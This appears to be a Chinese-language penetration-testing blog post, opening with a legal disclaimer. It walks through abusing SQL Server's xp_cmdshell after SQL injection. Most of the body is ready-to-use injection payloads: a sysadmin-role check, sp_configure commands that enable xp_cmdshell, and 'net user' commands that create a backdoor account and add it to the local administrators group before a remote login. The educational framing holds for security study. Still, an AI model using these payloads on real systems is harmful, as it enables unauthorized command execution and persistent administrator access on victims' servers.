免责声明
本博客文章仅供教育和研究目的使用。本文中提到的所有信息和技术均基于公开来源和合法获取的知识。本文不鼓励或支持任何非法活动,包括但不限于未经授权访问计算机系统、网络或数据。
作者对于读者使用本文中的信息所导致的任何直接或间接后果不承担任何责任。包括但不限于因使用本文所述技术而可能导致的法律诉讼、财产损失、隐私泄露或其他任何形式的责任。
在进行任何渗透测试或安全研究之前,请确保您已获得所有必要的授权,并遵守适用的法律和道德准则。未经授权的安全测试可能违反法律,并可能导致严重的法律后果。
本文中的内容仅供参考,不应被视为专业建议。在进行任何安全相关活动之前,建议咨询具有相应资质的专业人士。
简介
xp_cmdshell 是一个 SQL Server 的扩展存储过程。它的主要作用是在 SQL Server 环境中提供一种机制,使得 SQLServer 能够与操作系统的命令行进行交互。这意味着可以直接在 SQL Server 的查询窗口或者存储过程中执行操作系统层面的命令,就好像在操作系统的命令提示符(如 Windows 的 CMD 或Linux 的 Shell)下执行一样。
在SQL Server中,xp_cmdshell默认是关闭,因此我们需要将其打开。
一.前提
1.getshell或者存在sql注入并且能够执行命令。
2.sql server是system权限,sql server默认就是system权限。
二.渗透步骤
1.判断注入点是否为sa权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))

在sqlsever数据库中查询是否为sa权限
select IS_SRVROLEMEMBER('sysadmin')

2.恢复xp_cmdshell可以用
因为该组件有危害,所以该组件默认是关闭的,因此需要将它打开。
;exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;

3.创建用户并加入管理员组
;exec master..xp_cmdshell 'net user test test /add'

;exec master..xp_cmdshell 'net localgroup administrators test /add'

5.查看Windows Server 2003用户组,发现test已经创建并且被添加到了管理员组

6.远程连接

连接成功

7.关闭xp_cmdshell
;exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 0;reconfigure;

8.再次创建用户,发现会报错,这就说明xp_cmdshell被关闭了
;exec master..xp_cmdshell 'net user abc abc /add'

3841






